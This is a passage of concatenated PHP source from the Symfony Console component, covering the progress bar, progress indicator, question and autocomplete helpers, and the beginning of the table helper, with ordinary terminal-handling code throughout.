$output, int $max = 0, float $minSecondsBetweenRedraws = 1 / 25) { if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $this->output = $output; $this->setMaxSteps($max); $this->terminal = new Terminal(); if (0 < $minSecondsBetweenRedraws) { $this->redrawFreq = null; $this->minSecondsBetweenRedraws = $minSecondsBetweenRedraws; } if (!$this->output->isDecorated()) { // disable overwrite when output does not support ANSI codes. $this->overwrite = false; // set a reasonable redraw frequency so output isn't flooded $this->redrawFreq = null; } $this->startTime = time(); $this->cursor = new Cursor($output); } /** * Sets a placeholder formatter for a given name. * * This method also allow you to override an existing placeholder. * * @param string $name The placeholder name (including the delimiter char like %) * @param callable $callable A PHP callable */ public static function setPlaceholderFormatterDefinition(string $name, callable $callable): void { if (!self::$formatters) { self::$formatters = self::initPlaceholderFormatters(); } self::$formatters[$name] = $callable; } /** * Gets the placeholder formatter for a given name. * * @param string $name The placeholder name (including the delimiter char like %) */ public static function getPlaceholderFormatterDefinition(string $name): ?callable { if (!self::$formatters) { self::$formatters = self::initPlaceholderFormatters(); } return self::$formatters[$name] ?? null; } /** * Sets a format for a given name. * * This method also allow you to override an existing format. * * @param string $name The format name * @param string $format A format string */ public static function setFormatDefinition(string $name, string $format): void { if (!self::$formats) { self::$formats = self::initFormats(); } self::$formats[$name] = $format; } /** * Gets the format for a given name. * * @param string $name The format name */ public static function getFormatDefinition(string $name): ?string { if (!self::$formats) { self::$formats = self::initFormats(); } return self::$formats[$name] ?? null; } /** * Associates a text with a named placeholder. * * The text is displayed when the progress bar is rendered but only * when the corresponding placeholder is part of the custom format line * (by wrapping the name with %). * * @param string $message The text to associate with the placeholder * @param string $name The name of the placeholder */ public function setMessage(string $message, string $name = 'message') { $this->messages[$name] = $message; } /** * @return string|null */ public function getMessage(string $name = 'message') { return $this->messages[$name] ?? null; } public function getStartTime(): int { return $this->startTime; } public function getMaxSteps(): int { return $this->max; } public function getProgress(): int { return $this->step; } private function getStepWidth(): int { return $this->stepWidth; } public function getProgressPercent(): float { return $this->percent; } public function getBarOffset(): float { return floor($this->max ? $this->percent * $this->barWidth : (null === $this->redrawFreq ? (int) (min(5, $this->barWidth / 15) * $this->writeCount) : $this->step) % $this->barWidth); } public function getEstimated(): float { if (!$this->step) { return 0; } return round((time() - $this->startTime) / $this->step * $this->max); } public function getRemaining(): float { if (!$this->step) { return 0; } return round((time() - $this->startTime) / $this->step * ($this->max - $this->step)); } public function setBarWidth(int $size) { $this->barWidth = max(1, $size); } public function getBarWidth(): int { return $this->barWidth; } public function setBarCharacter(string $char) { $this->barChar = $char; } public function getBarCharacter(): string { return $this->barChar ?? ($this->max ? '=' : $this->emptyBarChar); } public function setEmptyBarCharacter(string $char) { $this->emptyBarChar = $char; } public function getEmptyBarCharacter(): string { return $this->emptyBarChar; } public function setProgressCharacter(string $char) { $this->progressChar = $char; } public function getProgressCharacter(): string { return $this->progressChar; } public function setFormat(string $format) { $this->format = null; $this->internalFormat = $format; } /** * Sets the redraw frequency. * * @param int|null $freq The frequency in steps */ public function setRedrawFrequency(?int $freq) { $this->redrawFreq = null !== $freq ? max(1, $freq) : null; } public function minSecondsBetweenRedraws(float $seconds): void { $this->minSecondsBetweenRedraws = $seconds; } public function maxSecondsBetweenRedraws(float $seconds): void { $this->maxSecondsBetweenRedraws = $seconds; } /** * Returns an iterator that will automatically update the progress bar when iterated. * * @param int|null $max Number of steps to complete the bar (0 if indeterminate), if null it will be inferred from $iterable */ public function iterate(iterable $iterable, ?int $max = null): iterable { $this->start($max ?? (is_countable($iterable) ? \count($iterable) : 0)); foreach ($iterable as $key => $value) { yield $key => $value; $this->advance(); } $this->finish(); } /** * Starts the progress output. * * @param int|null $max Number of steps to complete the bar (0 if indeterminate), null to leave unchanged */ public function start(?int $max = null) { $this->startTime = time(); $this->step = 0; $this->percent = 0.0; if (null !== $max) { $this->setMaxSteps($max); } $this->display(); } /** * Advances the progress output X steps. * * @param int $step Number of steps to advance */ public function advance(int $step = 1) { $this->setProgress($this->step + $step); } /** * Sets whether to overwrite the progressbar, false for new line. */ public function setOverwrite(bool $overwrite) { $this->overwrite = $overwrite; } public function setProgress(int $step) { if ($this->max && $step > $this->max) { $this->max = $step; } elseif ($step < 0) { $step = 0; } $redrawFreq = $this->redrawFreq ?? (($this->max ?: 10) / 10); $prevPeriod = (int) ($this->step / $redrawFreq); $currPeriod = (int) ($step / $redrawFreq); $this->step = $step; $this->percent = $this->max ? (float) $this->step / $this->max : 0; $timeInterval = microtime(true) - $this->lastWriteTime; // Draw regardless of other limits if ($this->max === $step) { $this->display(); return; } // Throttling if ($timeInterval < $this->minSecondsBetweenRedraws) { return; } // Draw each step period, but not too late if ($prevPeriod !== $currPeriod || $timeInterval >= $this->maxSecondsBetweenRedraws) { $this->display(); } } public function setMaxSteps(int $max) { $this->format = null; $this->max = max(0, $max); $this->stepWidth = $this->max ? Helper::width((string) $this->max) : 4; } /** * Finishes the progress output. */ public function finish(): void { if (!$this->max) { $this->max = $this->step; } if ($this->step === $this->max && !$this->overwrite) { // prevent double 100% output return; } $this->setProgress($this->max); } /** * Outputs the current progress string. */ public function display(): void { if (OutputInterface::VERBOSITY_QUIET === $this->output->getVerbosity()) { return; } if (null === $this->format) { $this->setRealFormat($this->internalFormat ?: $this->determineBestFormat()); } $this->overwrite($this->buildLine()); } /** * Removes the progress bar from the current line. * * This is useful if you wish to write some output * while a progress bar is running. * Call display() to show the progress bar again. */ public function clear(): void { if (!$this->overwrite) { return; } if (null === $this->format) { $this->setRealFormat($this->internalFormat ?: $this->determineBestFormat()); } $this->overwrite(''); } private function setRealFormat(string $format) { // try to use the _nomax variant if available if (!$this->max && null !== self::getFormatDefinition($format.'_nomax')) { $this->format = self::getFormatDefinition($format.'_nomax'); } elseif (null !== self::getFormatDefinition($format)) { $this->format = self::getFormatDefinition($format); } else { $this->format = $format; } } /** * Overwrites a previous message to the output. */ private function overwrite(string $message): void { if ($this->previousMessage === $message) { return; } $originalMessage = $message; if ($this->overwrite) { if (null !== $this->previousMessage) { if ($this->output instanceof ConsoleSectionOutput) { $messageLines = explode("\n", $this->previousMessage); $lineCount = \count($messageLines); foreach ($messageLines as $messageLine) { $messageLineLength = Helper::width(Helper::removeDecoration($this->output->getFormatter(), $messageLine)); if ($messageLineLength > $this->terminal->getWidth()) { $lineCount += floor($messageLineLength / $this->terminal->getWidth()); } } $this->output->clear($lineCount); } else { $lineCount = substr_count($this->previousMessage, "\n"); for ($i = 0; $i < $lineCount; ++$i) { $this->cursor->moveToColumn(1); $this->cursor->clearLine(); $this->cursor->moveUp(); } $this->cursor->moveToColumn(1); $this->cursor->clearLine(); } } } elseif ($this->step > 0) { $message = \PHP_EOL.$message; } $this->previousMessage = $originalMessage; $this->lastWriteTime = microtime(true); $this->output->write($message); ++$this->writeCount; } private function determineBestFormat(): string { switch ($this->output->getVerbosity()) { // OutputInterface::VERBOSITY_QUIET: display is disabled anyway case OutputInterface::VERBOSITY_VERBOSE: return $this->max ? self::FORMAT_VERBOSE : self::FORMAT_VERBOSE_NOMAX; case OutputInterface::VERBOSITY_VERY_VERBOSE: return $this->max ? self::FORMAT_VERY_VERBOSE : self::FORMAT_VERY_VERBOSE_NOMAX; case OutputInterface::VERBOSITY_DEBUG: return $this->max ? self::FORMAT_DEBUG : self::FORMAT_DEBUG_NOMAX; default: return $this->max ? self::FORMAT_NORMAL : self::FORMAT_NORMAL_NOMAX; } } private static function initPlaceholderFormatters(): array { return [ 'bar' => function (self $bar, OutputInterface $output) { $completeBars = $bar->getBarOffset(); $display = str_repeat($bar->getBarCharacter(), $completeBars); if ($completeBars < $bar->getBarWidth()) { $emptyBars = $bar->getBarWidth() - $completeBars - Helper::length(Helper::removeDecoration($output->getFormatter(), $bar->getProgressCharacter())); $display .= $bar->getProgressCharacter().str_repeat($bar->getEmptyBarCharacter(), $emptyBars); } return $display; }, 'elapsed' => function (self $bar) { return Helper::formatTime(time() - $bar->getStartTime()); }, 'remaining' => function (self $bar) { if (!$bar->getMaxSteps()) { throw new LogicException('Unable to display the remaining time if the maximum number of steps is not set.'); } return Helper::formatTime($bar->getRemaining()); }, 'estimated' => function (self $bar) { if (!$bar->getMaxSteps()) { throw new LogicException('Unable to display the estimated time if the maximum number of steps is not set.'); } return Helper::formatTime($bar->getEstimated()); }, 'memory' => function (self $bar) { return Helper::formatMemory(memory_get_usage(true)); }, 'current' => function (self $bar) { return str_pad($bar->getProgress(), $bar->getStepWidth(), ' ', \STR_PAD_LEFT); }, 'max' => function (self $bar) { return $bar->getMaxSteps(); }, 'percent' => function (self $bar) { return floor($bar->getProgressPercent() * 100); }, ]; } private static function initFormats(): array { return [ self::FORMAT_NORMAL => ' %current%/%max% [%bar%] %percent:3s%%', self::FORMAT_NORMAL_NOMAX => ' %current% [%bar%]', self::FORMAT_VERBOSE => ' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%', self::FORMAT_VERBOSE_NOMAX => ' %current% [%bar%] %elapsed:6s%', self::FORMAT_VERY_VERBOSE => ' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%/%estimated:-6s%', self::FORMAT_VERY_VERBOSE_NOMAX => ' %current% [%bar%] %elapsed:6s%', self::FORMAT_DEBUG => ' %current%/%max% [%bar%] %percent:3s%% %elapsed:6s%/%estimated:-6s% %memory:6s%', self::FORMAT_DEBUG_NOMAX => ' %current% [%bar%] %elapsed:6s% %memory:6s%', ]; } private function buildLine(): string { $regex = "{%([a-z\-_]+)(?:\:([^%]+))?%}i"; $callback = function ($matches) { if ($formatter = $this::getPlaceholderFormatterDefinition($matches[1])) { $text = $formatter($this, $this->output); } elseif (isset($this->messages[$matches[1]])) { $text = $this->messages[$matches[1]]; } else { return $matches[0]; } if (isset($matches[2])) { $text = sprintf('%'.$matches[2], $text); } return $text; }; $line = preg_replace_callback($regex, $callback, $this->format); // gets string length for each sub line with multiline format $linesLength = array_map(function ($subLine) { return Helper::width(Helper::removeDecoration($this->output->getFormatter(), rtrim($subLine, "\r"))); }, explode("\n", $line)); $linesWidth = max($linesLength); $terminalWidth = $this->terminal->getWidth(); if ($linesWidth <= $terminalWidth) { return $line; } $this->setBarWidth($this->barWidth - $linesWidth + $terminalWidth); return preg_replace_callback($regex, $callback, $this->format); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Output\OutputInterface; /** * @author Kevin Bond */ class ProgressIndicator { private const FORMATS = [ 'normal' => ' %indicator% %message%', 'normal_no_ansi' => ' %message%', 'verbose' => ' %indicator% %message% (%elapsed:6s%)', 'verbose_no_ansi' => ' %message% (%elapsed:6s%)', 'very_verbose' => ' %indicator% %message% (%elapsed:6s%, %memory:6s%)', 'very_verbose_no_ansi' => ' %message% (%elapsed:6s%, %memory:6s%)', ]; private $output; private $startTime; private $format; private $message; private $indicatorValues; private $indicatorCurrent; private $indicatorChangeInterval; private $indicatorUpdateTime; private $started = false; /** * @var array */ private static $formatters; /** * @param int $indicatorChangeInterval Change interval in milliseconds * @param array|null $indicatorValues Animated indicator characters */ public function __construct(OutputInterface $output, ?string $format = null, int $indicatorChangeInterval = 100, ?array $indicatorValues = null) { $this->output = $output; if (null === $format) { $format = $this->determineBestFormat(); } if (null === $indicatorValues) { $indicatorValues = ['-', '\\', '|', '/']; } $indicatorValues = array_values($indicatorValues); if (2 > \count($indicatorValues)) { throw new InvalidArgumentException('Must have at least 2 indicator value characters.'); } $this->format = self::getFormatDefinition($format); $this->indicatorChangeInterval = $indicatorChangeInterval; $this->indicatorValues = $indicatorValues; $this->startTime = time(); } /** * Sets the current indicator message. */ public function setMessage(?string $message) { $this->message = $message; $this->display(); } /** * Starts the indicator output. */ public function start(string $message) { if ($this->started) { throw new LogicException('Progress indicator already started.'); } $this->message = $message; $this->started = true; $this->startTime = time(); $this->indicatorUpdateTime = $this->getCurrentTimeInMilliseconds() + $this->indicatorChangeInterval; $this->indicatorCurrent = 0; $this->display(); } /** * Advances the indicator. */ public function advance() { if (!$this->started) { throw new LogicException('Progress indicator has not yet been started.'); } if (!$this->output->isDecorated()) { return; } $currentTime = $this->getCurrentTimeInMilliseconds(); if ($currentTime < $this->indicatorUpdateTime) { return; } $this->indicatorUpdateTime = $currentTime + $this->indicatorChangeInterval; ++$this->indicatorCurrent; $this->display(); } /** * Finish the indicator with message. */ public function finish(string $message) { if (!$this->started) { throw new LogicException('Progress indicator has not yet been started.'); } $this->message = $message; $this->display(); $this->output->writeln(''); $this->started = false; } /** * Gets the format for a given name. * * @return string|null */ public static function getFormatDefinition(string $name) { return self::FORMATS[$name] ?? null; } /** * Sets a placeholder formatter for a given name. * * This method also allow you to override an existing placeholder. */ public static function setPlaceholderFormatterDefinition(string $name, callable $callable) { if (!self::$formatters) { self::$formatters = self::initPlaceholderFormatters(); } self::$formatters[$name] = $callable; } /** * Gets the placeholder formatter for a given name (including the delimiter char like %). * * @return callable|null */ public static function getPlaceholderFormatterDefinition(string $name) { if (!self::$formatters) { self::$formatters = self::initPlaceholderFormatters(); } return self::$formatters[$name] ?? null; } private function display() { if (OutputInterface::VERBOSITY_QUIET === $this->output->getVerbosity()) { return; } $this->overwrite(preg_replace_callback("{%([a-z\-_]+)(?:\:([^%]+))?%}i", function ($matches) { if ($formatter = self::getPlaceholderFormatterDefinition($matches[1])) { return $formatter($this); } return $matches[0]; }, $this->format ?? '')); } private function determineBestFormat(): string { switch ($this->output->getVerbosity()) { // OutputInterface::VERBOSITY_QUIET: display is disabled anyway case OutputInterface::VERBOSITY_VERBOSE: return $this->output->isDecorated() ? 'verbose' : 'verbose_no_ansi'; case OutputInterface::VERBOSITY_VERY_VERBOSE: case OutputInterface::VERBOSITY_DEBUG: return $this->output->isDecorated() ? 'very_verbose' : 'very_verbose_no_ansi'; default: return $this->output->isDecorated() ? 'normal' : 'normal_no_ansi'; } } /** * Overwrites a previous message to the output. */ private function overwrite(string $message) { if ($this->output->isDecorated()) { $this->output->write("\x0D\x1B[2K"); $this->output->write($message); } else { $this->output->writeln($message); } } private function getCurrentTimeInMilliseconds(): float { return round(microtime(true) * 1000); } private static function initPlaceholderFormatters(): array { return [ 'indicator' => function (self $indicator) { return $indicator->indicatorValues[$indicator->indicatorCurrent % \count($indicator->indicatorValues)]; }, 'message' => function (self $indicator) { return $indicator->message; }, 'elapsed' => function (self $indicator) { return Helper::formatTime(time() - $indicator->startTime); }, 'memory' => function () { return Helper::formatMemory(memory_get_usage(true)); }, ]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Cursor; use Symfony\Component\Console\Exception\MissingInputException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Formatter\OutputFormatterStyle; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\StreamableInputInterface; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\ConsoleSectionOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Terminal; use function Symfony\Component\String\s; /** * The QuestionHelper class provides helpers to interact with the user. * * @author Fabien Potencier */ class QuestionHelper extends Helper { /** * @var resource|null */ private $inputStream; private static $stty = true; private static $stdinIsInteractive; /** * Asks a question to the user. * * @return mixed The user answer * * @throws RuntimeException If there is no data to read in the input stream */ public function ask(InputInterface $input, OutputInterface $output, Question $question) { if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } if (!$input->isInteractive()) { return $this->getDefaultAnswer($question); } if ($input instanceof StreamableInputInterface && $stream = $input->getStream()) { $this->inputStream = $stream; } try { if (!$question->getValidator()) { return $this->doAsk($output, $question); } $interviewer = function () use ($output, $question) { return $this->doAsk($output, $question); }; return $this->validateAttempts($interviewer, $output, $question); } catch (MissingInputException $exception) { $input->setInteractive(false); if (null === $fallbackOutput = $this->getDefaultAnswer($question)) { throw $exception; } return $fallbackOutput; } } /** * {@inheritdoc} */ public function getName() { return 'question'; } /** * Prevents usage of stty. */ public static function disableStty() { self::$stty = false; } /** * Asks the question to the user. * * @return mixed * * @throws RuntimeException In case the fallback is deactivated and the response cannot be hidden */ private function doAsk(OutputInterface $output, Question $question) { $this->writePrompt($output, $question); $inputStream = $this->inputStream ?: \STDIN; $autocomplete = $question->getAutocompleterCallback(); if (null === $autocomplete || !self::$stty || !Terminal::hasSttyAvailable()) { $ret = false; if ($question->isHidden()) { try { $hiddenResponse = $this->getHiddenResponse($output, $inputStream, $question->isTrimmable()); $ret = $question->isTrimmable() ? trim($hiddenResponse) : $hiddenResponse; } catch (RuntimeException $e) { if (!$question->isHiddenFallback()) { throw $e; } } } if (false === $ret) { $isBlocked = stream_get_meta_data($inputStream)['blocked'] ?? true; if (!$isBlocked) { stream_set_blocking($inputStream, true); } $ret = $this->readInput($inputStream, $question); if (!$isBlocked) { stream_set_blocking($inputStream, false); } if (false === $ret) { throw new MissingInputException('Aborted.'); } if ($question->isTrimmable()) { $ret = trim($ret); } } } else { $autocomplete = $this->autocomplete($output, $question, $inputStream, $autocomplete); $ret = $question->isTrimmable() ? trim($autocomplete) : $autocomplete; } if ($output instanceof ConsoleSectionOutput) { $output->addContent($ret); } $ret = \strlen($ret) > 0 ? $ret : $question->getDefault(); if ($normalizer = $question->getNormalizer()) { return $normalizer($ret); } return $ret; } /** * @return mixed */ private function getDefaultAnswer(Question $question) { $default = $question->getDefault(); if (null === $default) { return $default; } if ($validator = $question->getValidator()) { return \call_user_func($question->getValidator(), $default); } elseif ($question instanceof ChoiceQuestion) { $choices = $question->getChoices(); if (!$question->isMultiselect()) { return $choices[$default] ?? $default; } $default = explode(',', $default); foreach ($default as $k => $v) { $v = $question->isTrimmable() ? trim($v) : $v; $default[$k] = $choices[$v] ?? $v; } } return $default; } /** * Outputs the question prompt. */ protected function writePrompt(OutputInterface $output, Question $question) { $message = $question->getQuestion(); if ($question instanceof ChoiceQuestion) { $output->writeln(array_merge([ $question->getQuestion(), ], $this->formatChoiceQuestionChoices($question, 'info'))); $message = $question->getPrompt(); } $output->write($message); } /** * @return string[] */ protected function formatChoiceQuestionChoices(ChoiceQuestion $question, string $tag) { $messages = []; $maxWidth = max(array_map([__CLASS__, 'width'], array_keys($choices = $question->getChoices()))); foreach ($choices as $key => $value) { $padding = str_repeat(' ', $maxWidth - self::width($key)); $messages[] = sprintf(" [<$tag>%s$padding] %s", $key, $value); } return $messages; } /** * Outputs an error message. */ protected function writeError(OutputInterface $output, \Exception $error) { if (null !== $this->getHelperSet() && $this->getHelperSet()->has('formatter')) { $message = $this->getHelperSet()->get('formatter')->formatBlock($error->getMessage(), 'error'); } else { $message = ''.$error->getMessage().''; } $output->writeln($message); } /** * Autocompletes a question. * * @param resource $inputStream */ private function autocomplete(OutputInterface $output, Question $question, $inputStream, callable $autocomplete): string { $cursor = new Cursor($output, $inputStream); $fullChoice = ''; $ret = ''; $i = 0; $ofs = -1; $matches = $autocomplete($ret); $numMatches = \count($matches); $sttyMode = shell_exec('stty -g'); $isStdin = 'php://stdin' === (stream_get_meta_data($inputStream)['uri'] ?? null); $r = [$inputStream]; $w = []; // Disable icanon (so we can fread each keypress) and echo (we'll do echoing here instead) shell_exec('stty -icanon -echo'); // Add highlighted text style $output->getFormatter()->setStyle('hl', new OutputFormatterStyle('black', 'white')); // Read a keypress while (!feof($inputStream)) { while ($isStdin && 0 === @stream_select($r, $w, $w, 0, 100)) { // Give signal handlers a chance to run $r = [$inputStream]; } $c = fread($inputStream, 1); // as opposed to fgets(), fread() returns an empty string when the stream content is empty, not false. if (false === $c || ('' === $ret && '' === $c && null === $question->getDefault())) { shell_exec('stty '.$sttyMode); throw new MissingInputException('Aborted.'); } elseif ("\177" === $c) { // Backspace Character if (0 === $numMatches && 0 !== $i) { --$i; $cursor->moveLeft(s($fullChoice)->slice(-1)->width(false)); $fullChoice = self::substr($fullChoice, 0, $i); } if (0 === $i) { $ofs = -1; $matches = $autocomplete($ret); $numMatches = \count($matches); } else { $numMatches = 0; } // Pop the last character off the end of our string $ret = self::substr($ret, 0, $i); } elseif ("\033" === $c) { // Did we read an escape sequence? $c .= fread($inputStream, 2); // A = Up Arrow. B = Down Arrow if (isset($c[2]) && ('A' === $c[2] || 'B' === $c[2])) { if ('A' === $c[2] && -1 === $ofs) { $ofs = 0; } if (0 === $numMatches) { continue; } $ofs += ('A' === $c[2]) ? -1 : 1; $ofs = ($numMatches + $ofs) % $numMatches; } } elseif (\ord($c) < 32) { if ("\t" === $c || "\n" === $c) { if ($numMatches > 0 && -1 !== $ofs) { $ret = (string) $matches[$ofs]; // Echo out remaining chars for current match $remainingCharacters = substr($ret, \strlen(trim($this->mostRecentlyEnteredValue($fullChoice)))); $output->write($remainingCharacters); $fullChoice .= $remainingCharacters; $i = (false === $encoding = mb_detect_encoding($fullChoice, null, true)) ? \strlen($fullChoice) : mb_strlen($fullChoice, $encoding); $matches = array_filter( $autocomplete($ret), function ($match) use ($ret) { return '' === $ret || str_starts_with($match, $ret); } ); $numMatches = \count($matches); $ofs = -1; } if ("\n" === $c) { $output->write($c); break; } $numMatches = 0; } continue; } else { if ("\x80" <= $c) { $c .= fread($inputStream, ["\xC0" => 1, "\xD0" => 1, "\xE0" => 2, "\xF0" => 3][$c & "\xF0"]); } $output->write($c); $ret .= $c; $fullChoice .= $c; ++$i; $tempRet = $ret; if ($question instanceof ChoiceQuestion && $question->isMultiselect()) { $tempRet = $this->mostRecentlyEnteredValue($fullChoice); } $numMatches = 0; $ofs = 0; foreach ($autocomplete($ret) as $value) { // If typed characters match the beginning chunk of value (e.g. [AcmeDe]moBundle) if (str_starts_with($value, $tempRet)) { $matches[$numMatches++] = $value; } } } $cursor->clearLineAfter(); if ($numMatches > 0 && -1 !== $ofs) { $cursor->savePosition(); // Write highlighted text, complete the partially entered response $charactersEntered = \strlen(trim($this->mostRecentlyEnteredValue($fullChoice))); $output->write(''.OutputFormatter::escapeTrailingBackslash(substr($matches[$ofs], $charactersEntered)).''); $cursor->restorePosition(); } } // Reset stty so it behaves normally again shell_exec('stty '.$sttyMode); return $fullChoice; } private function mostRecentlyEnteredValue(string $entered): string { // Determine the most recent value that the user entered if (!str_contains($entered, ',')) { return $entered; } $choices = explode(',', $entered); if ('' !== $lastChoice = trim($choices[\count($choices) - 1])) { return $lastChoice; } return $entered; } /** * Gets a hidden response from user. * * @param resource $inputStream The handler resource * @param bool $trimmable Is the answer trimmable * * @throws RuntimeException In case the fallback is deactivated and the response cannot be hidden */ private function getHiddenResponse(OutputInterface $output, $inputStream, bool $trimmable = true): string { if ('\\' === \DIRECTORY_SEPARATOR) { $exe = __DIR__.'/../Resources/bin/hiddeninput.exe'; // handle code running from a phar if ('phar:' === substr(__FILE__, 0, 5)) { $tmpExe = sys_get_temp_dir().'/hiddeninput.exe'; copy($exe, $tmpExe); $exe = $tmpExe; } $sExec = shell_exec('"'.$exe.'"'); $value = $trimmable ? rtrim($sExec) : $sExec; $output->writeln(''); if (isset($tmpExe)) { unlink($tmpExe); } return $value; } if (self::$stty && Terminal::hasSttyAvailable()) { $sttyMode = shell_exec('stty -g'); shell_exec('stty -echo'); } elseif ($this->isInteractiveInput($inputStream)) { throw new RuntimeException('Unable to hide the response.'); } $value = fgets($inputStream, 4096); if (self::$stty && Terminal::hasSttyAvailable()) { shell_exec('stty '.$sttyMode); } if (false === $value) { throw new MissingInputException('Aborted.'); } if ($trimmable) { $value = trim($value); } $output->writeln(''); return $value; } /** * Validates an attempt. * * @param callable $interviewer A callable that will ask for a question and return the result * * @return mixed The validated response * * @throws \Exception In case the max number of attempts has been reached and no valid response has been given */ private function validateAttempts(callable $interviewer, OutputInterface $output, Question $question) { $error = null; $attempts = $question->getMaxAttempts(); while (null === $attempts || $attempts--) { if (null !== $error) { $this->writeError($output, $error); } try { return $question->getValidator()($interviewer()); } catch (RuntimeException $e) { throw $e; } catch (\Exception $error) { } } throw $error; } private function isInteractiveInput($inputStream): bool { if ('php://stdin' !== (stream_get_meta_data($inputStream)['uri'] ?? null)) { return false; } if (null !== self::$stdinIsInteractive) { return self::$stdinIsInteractive; } return self::$stdinIsInteractive = @stream_isatty(fopen('php://stdin', 'r')); } /** * Reads one or more lines of input and returns what is read. * * @param resource $inputStream The handler resource * @param Question $question The question being asked * * @return string|false The input received, false in case input could not be read */ private function readInput($inputStream, Question $question) { if (!$question->isMultiline()) { $cp = $this->setIOCodepage(); $ret = fgets($inputStream, 4096); return $this->resetIOCodepage($cp, $ret); } $multiLineStreamReader = $this->cloneInputStream($inputStream); if (null === $multiLineStreamReader) { return false; } $ret = ''; $cp = $this->setIOCodepage(); while (false !== ($char = fgetc($multiLineStreamReader))) { if (\PHP_EOL === "{$ret}{$char}") { break; } $ret .= $char; } return $this->resetIOCodepage($cp, $ret); } /** * Sets console I/O to the host code page. * * @return int Previous code page in IBM/EBCDIC format */ private function setIOCodepage(): int { if (\function_exists('sapi_windows_cp_set')) { $cp = sapi_windows_cp_get(); sapi_windows_cp_set(sapi_windows_cp_get('oem')); return $cp; } return 0; } /** * Sets console I/O to the specified code page and converts the user input. * * @param string|false $input * * @return string|false */ private function resetIOCodepage(int $cp, $input) { if (0 !== $cp) { sapi_windows_cp_set($cp); if (false !== $input && '' !== $input) { $input = sapi_windows_cp_conv(sapi_windows_cp_get('oem'), $cp, $input); } } return $input; } /** * Clones an input stream in order to act on one instance of the same * stream without affecting the other instance. * * @param resource $inputStream The handler resource * * @return resource|null The cloned resource, null in case it could not be cloned */ private function cloneInputStream($inputStream) { $streamMetaData = stream_get_meta_data($inputStream); $seekable = $streamMetaData['seekable'] ?? false; $mode = $streamMetaData['mode'] ?? 'rb'; $uri = $streamMetaData['uri'] ?? null; if (null === $uri) { return null; } $cloneStream = fopen($uri, $mode); // For seekable and writable streams, add all the same data to the // cloned stream and then seek to the same offset. if (true === $seekable && !\in_array($mode, ['r', 'rb', 'rt'])) { $offset = ftell($inputStream); rewind($inputStream); stream_copy_to_stream($inputStream, $cloneStream); fseek($inputStream, $offset); fseek($cloneStream, $offset); } return $cloneStream; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Question\ChoiceQuestion; use Symfony\Component\Console\Question\ConfirmationQuestion; use Symfony\Component\Console\Question\Question; use Symfony\Component\Console\Style\SymfonyStyle; /** * Symfony Style Guide compliant question helper. * * @author Kevin Bond */ class SymfonyQuestionHelper extends QuestionHelper { /** * {@inheritdoc} */ protected function writePrompt(OutputInterface $output, Question $question) { $text = OutputFormatter::escapeTrailingBackslash($question->getQuestion()); $default = $question->getDefault(); if ($question->isMultiline()) { $text .= sprintf(' (press %s to continue)', $this->getEofShortcut()); } switch (true) { case null === $default: $text = sprintf(' %s:', $text); break; case $question instanceof ConfirmationQuestion: $text = sprintf(' %s (yes/no) [%s]:', $text, $default ? 'yes' : 'no'); break; case $question instanceof ChoiceQuestion && $question->isMultiselect(): $choices = $question->getChoices(); $default = explode(',', $default); foreach ($default as $key => $value) { $default[$key] = $choices[trim($value)]; } $text = sprintf(' %s [%s]:', $text, OutputFormatter::escape(implode(', ', $default))); break; case $question instanceof ChoiceQuestion: $choices = $question->getChoices(); $text = sprintf(' %s [%s]:', $text, OutputFormatter::escape($choices[$default] ?? $default)); break; default: $text = sprintf(' %s [%s]:', $text, OutputFormatter::escape($default)); } $output->writeln($text); $prompt = ' > '; if ($question instanceof ChoiceQuestion) { $output->writeln($this->formatChoiceQuestionChoices($question, 'comment')); $prompt = $question->getPrompt(); } $output->write($prompt); } /** * {@inheritdoc} */ protected function writeError(OutputInterface $output, \Exception $error) { if ($output instanceof SymfonyStyle) { $output->newLine(); $output->error($error->getMessage()); return; } parent::writeError($output, $error); } private function getEofShortcut(): string { if ('Windows' === \PHP_OS_FAMILY) { return 'Ctrl+Z then Enter'; } return 'Ctrl+D'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Formatter\WrappableOutputFormatterInterface; use Symfony\Component\Console\Output\ConsoleSectionOutput; use Symfony\Component\Console\Output\OutputInterface; /** * Provides helpers to display a table. * * @author Fabien Potencier * @author Саша Стаменковић * @author Abdellatif Ait boudad * @author Max Grigorian * @author Dany Maillard */ class Table { private const SEPARATOR_TOP = 0; private const SEPARATOR_TOP_BOTTOM = 1; private const SEPARATOR_MID = 2; private const SEPARATOR_BOTTOM = 3; private const BORDER_OUTSIDE = 0; private const BORDER_INSIDE = 1; private $headerTitle; private $footerTitle; /** * Table headers. */ private $headers = []; /** * Table rows. */ private $rows = []; private $horizontal = false; /** * Column widths cache. */ private $effectiveColumnWidths = []; /** * Number of columns cache. * * @var int */ private $numberOfColumns; /** * @var OutputInterface */ private $output; /** * @var TableStyle */ private $style; /** * @var array */ private $columnStyles = []; /** * User set column widths. * * @var array */ private $columnWidths = []; private $columnMaxWidths = []; /** * @var array|null */ private static $styles; private $rendered = false; public function __construct(OutputInterface $output) { $this->output = $output; if (!self::$styles) { self::$styles = self::initStyles(); } $this->setStyle('default'); } /** * Sets a style definition. */ public static function setStyleDefinition(string $name, TableStyle $style) { if (!self::$styles) { self::$styles = 